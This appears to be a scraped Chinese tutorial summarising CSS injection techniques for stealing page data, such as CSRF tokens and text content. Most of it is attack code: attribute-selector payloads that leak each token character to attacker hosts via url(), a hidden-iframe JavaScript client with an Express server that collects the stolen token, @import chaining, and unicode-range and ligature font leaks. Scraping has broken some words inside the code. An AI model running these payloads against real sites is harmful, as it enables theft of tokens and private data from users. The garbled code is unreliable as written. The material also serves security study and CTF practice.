好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

CSS injection 知识总结

现代浏览器都已不允许在CSS中执行JavaScript了,以前的CSS注入可以 利用 JavaScript协议在 url() 、 ex Press ion() 中执行Javascript代码从而实现XSS。但是目前CSS注入在窃取数据方面仍然是非常有用的,下面分别来分析一下。

CSS 注入 窃取标签属性数据

CSS中可以使用属性选择器,根据不同的属性选择标签。比如下面CSS选择含有a属性且其值为 abc 的 p标签 。

<style>p[a="abc"]{ color:  red ;}</style>
 <p a="abc">hello world</p>

属性选择器还可以匹配值的一些特性,比如以XXX开头、以XXX结尾等。

利用上面的性质我们可以用来窃取页面标签属性中的数据。比如下面当csrfToken以某个字母开头时,就可以通过 url() 通知攻击者,从而窃取csrfToken的第一位的值。

<style>
input[value^="0"] {
    background: url(http://attack .COM /0);
}
input[value^="1"] {
    background: url(http://attack测试数据/1);
}
input[value^="2"] {
    background: url(http://attack测试数据/2);
}
 .. .
input[value^="Y"] {
    background: url(http://attack测试数据/Y);
}
input[value^="Z"] {
    background: url(http://attack测试数据/Z);
}
</style>

<input  n am e="csrfToken" value="ZTU1MzE1YjRiZGQMRmNjYw mta zYjk4YjhjNGI0ZA == ">

第一位是Z,接着窃取第二位

<style>
input[value^="Z0"] {
    background: url(http://attack测试数据/0);
}
...
input[value^="ZZ"] {
    background: url(http://attack测试数据/Z);
}
</style>
<input  name="csrfToken" value="ZTU1MzE1YjRiZGQMRmNjYwMTAzYjk4YjhjNGI0ZA==">

解决hidden

当然还有个问题, 当标签 ty PE =hidden 时浏览器是不允许我们设置 background 的,这样就无法触发 url() 请求 服务器 。

解决方法之一是利用 ~ CSS的兄弟选择器,选择为后续所有兄弟节点设置background。

input[value^="Z"] ~*{
    background: url(http://attack测试数据/Z);
}

批量实现

当然,如果位数比较短且可能性比较少我们可以将其所有都列出来,但是通常都太多了,所以我们需要利用技巧批量得到。

假设目标存在css注入的网站为如下, 目标是窃取 input标签 中的csrfToken值。

<!DOCTYPE ht ML >
<html>
<head>
    <t IT le>CSS injection</title>
</head>
<body>
<input type=hidden name="csrfToken" value=<?=md5(date("h"))?>>
<input type="" name="">
<style><?php echo  $_GET ['css']?></style>
</body>
</html>

有iframe

当存在CSS注入的网站响应头未被 X-Frame-Options 保护时, 我们可以创建一个恶意的页面,利用js创建iframe包含该漏洞网站,利用css注入获得一位csrfToken值后通过 url() 提交给服务器,服务器指示前端js继续创建iframe窃取第二位值,继续上面的操作,直到全部读取完。当然这要求每次请求漏洞 网站内容 都不会变。

这里存在一个问题,服务器如何指示前端js构造css,就像我们上面举得例子窃取到第一位为Z, 那么第二位的payload 应该 是Z开头的。

下面的payload 来自这里 https://medium测试数据/bugbountywriteup/exfiltration-via-css-injection-4e999f63097d

它的思路是前端js使用setTimeout定时请求服务器,服务器将css注入得到的token返回。

<html>
    <style>
         # frames {
            visibility: hidden;
        }
    </style>
    <body>
        <div id=" current "></div>
        <div id="time_to_next"></div>
        <div id="frames"></div>
    </body>
    <script>
        vuln_url = 'http://127.0.0.1:8084/vuln.php?css=';
        server_rec ei ve_token_url = 'http://127.0.0.1:8083/receive/';
        server_return_token_url = 'http://127.0.0.1:8083/return';

        chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".split("");
        known = "";

        function  test _char(known, chars) {
            // Remove all the frames
            document.getElementById("frames").innerHTML = "";

            // Append the chars with the known chars
            css = build_css(chars.map(v => known + v));

            // Create an iframe to try the attack. If `X-Frame-Options` is blocking this you could use a new tab...
            frame = document.createElement("iframe");
            frame.src = vuln_url + css;
            frame.style="visibility: hidden;"; //gotta be sneaky sneaky like
            document.getElementById("frames").appendChild(frame);

            // in 1 seconds, after the iframe loads, check to see if we got a response yet
            setTimeout(function() {
                 VAR  oReq = new  XM LHtt PR equest();
                oReq.addEventListener("load", known_listener);
                oReq.open("GET", server_return_token_url);
                oReq.send();
            }, 1000);
        }

        function build_css(values) {
            css_payload = "";
            for(var value in values) {
                css_payload += "input[value^=\""
                    + values[value]
                    + "\"]~*{background -i mage:url(" 
                    + server_receive_token_url
                    + values[value]
                    + ")%3B}"; //can't use an actual  SEM icolon because t hat  has a meaning in a url
            }
            return css_payload;
        }

        function known_listener () {
            document.getElementById("current").innerHTML = "Current Token: " + this.responseText;
            if(known != this.responseText) {
                known = this.responseText;
                test_char(known, chars);
            } else {
                known = this.responseText;
                alert("CSRF token is: " + known);
            }
        }

        test_char("", chars);
    </script>
</html>

服务器代码是我配合它的payload写得。

var e xp ress = require('express');
var app = express();
var path = require('path');
var token = "";

app.get('/receive/:token', function(req, res) {
    token = req.params.token;
    console. LOG (token)
    res.send('ok');
});

app.get('/return', function(req, res){
    res.send(token);
});

app.get('/client.html', function(req, res){
    res. sendfile (path.join(__dirname, 'client.html'));
})


var server = app.listen(8083, function() {
    var host = server.address().address
    var port = server.address().port
    console.log("Example app listening at http://%s:%s", host, port)
})

还有 师傅 通过服务器将token写入到cookie中, 定时查询cookie 是否 改变 来实现的。

还发现有师傅用websocket实现更优雅一些。 https://gist.github测试数据/cgvwzq/f7c55222fbde44fc686b17f745d0e1aa

无 iframe

https://github测试数据/dxa4481/cssInjection 这里介绍了一种无iframe注入的方法。

原理也很 简单 ,既然不能用iframe引入漏洞页面,那么我们可以通过 window.open 不断 开启一个新的窗口,也就可以完成上述类似的效果。当然这种方法得 劫持 用户的点击行为,否则浏览器会禁止开启新窗口。

而且这篇 文章 还提出了无后台服务器的 方案 ,利用 service workers 拦截客户端请求将获取到的token值同时存在本地localstorage中。

@import

利用 @import 在ch rom e中的特性, https://medium测试数据/@d0nut/better-exfiltration-via-html-injection-31c72a2dae8b 这篇文章提出的这种方法。这种方法有种好处就是 不会刷新页面就可以拿到全部token 而且不需要iframe,但坏处就是只能用在c hr ome中,而且根据它的特性必须在样式标签头部有注入才行。

除了常见的 <link> 标签引入外部样式,css还可以通过 @import 。

@import url( http://style测试数据/css.css );

但是 @import 必须在样式表头部最先声明,并且分号是必须的。 @import 引入的样式表会直接替换对应的内联样式。

chrome在实现上述效果时,在每次 @import 外部样式表 返回后 都重新计算了一遍页面的其他的样式表,我们可以利用这个特性嵌套 @import 使用一个请求便获取到整个token

这是他文章中的一个图,很形象。

这图假定要窃取的数据长度为3,第一次注入的css内容为 @import url( http://attacker测试数据/staging ); ,它返回了

@import url( http://attacker测试数据/polling?len=0 );
@import url( http://attacker测试数据/polling?len=1 );
@import url( http://attacker测试数据/polling?len=2 );

这时页面又要获取 @import url( http://attacker测试数据/polling?len=0 ); 样式表,而它返回的是窃取token的payload。

当将已窃取数据发送到服务器后, @import url( http://attacker测试数据/polling?len=1 ); 才会响应。响应的是窃取的第二位数据的payload....

而且那篇文章还开 源 了一个工具利用这个漏洞,用起来非常简单。

https://github测试数据/d0nutptr/sic

窃取标签content数据

窃取标签content数据相对来说就麻烦很多,去年xctf final就有一道题。

利用 unicode-range 猜测

根据 https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html 这位师傅的思路,可以通过指定 @font-face 的字体描述 unicode-range ,当存在某个字符时就通知服务器。

<style>
@font-face{
 font-f ami ly:poc;
 src: url(http://attacker.example测试数据/?A); /* fetched */
 unicode-range:U+0041;
}
@font-face{
 font-family:poc;
 src: url(http://attacker.example测试数据/?B); /* fetched too */
 unicode-range:U+0042;
}
@font-face{
 font-family:poc;
 src: url(http://attacker.example测试数据/?C); /* not fetched */
 unicode-range:U+0043;
}
#sensitive-information{
 font-family:poc;
}
</style>
<p id="sensitive-information">AB</p>

当然这只能 知道 含有那些字符,而且当字符一多就没有意义了。 不过 这也是个不错的思路,在某些特定情况下可能有用。

利用连字(Ligature)

去年xctf师傅们的 题解 用的就是这个方法。

连字简而言之就是几个字符的合体字,更多自行 百度 。在这里我们可以自己创建一个字体,其中所有字符 宽 度设为0,将 flag 这个连字的宽度设置非常大,此时指定标签content中如果出现了 flag 字符串就会因为宽度的 原因 出现滚动条,检测出现滚动条时用 url() 请求服务器。

这样我们就可以不断向后猜测了,详细的创建字体、payload 这里 已经提供了。

总结

到此这篇关于CSS injection 知识总结的文章就介绍到这了,更多相关CSS injection内容请搜索以前的文章或继续浏览下面的相关文章,希望大家以后多多支持!

总结

以上是 为你收集整理的 CSS injection 知识总结 全部内容,希望文章能够帮你解决 CSS injection 知识总结 所遇到的问题。

如果觉得 网站内容还不错, 推荐好友。

查看更多关于CSS injection 知识总结的详细内容...

  阅读:22次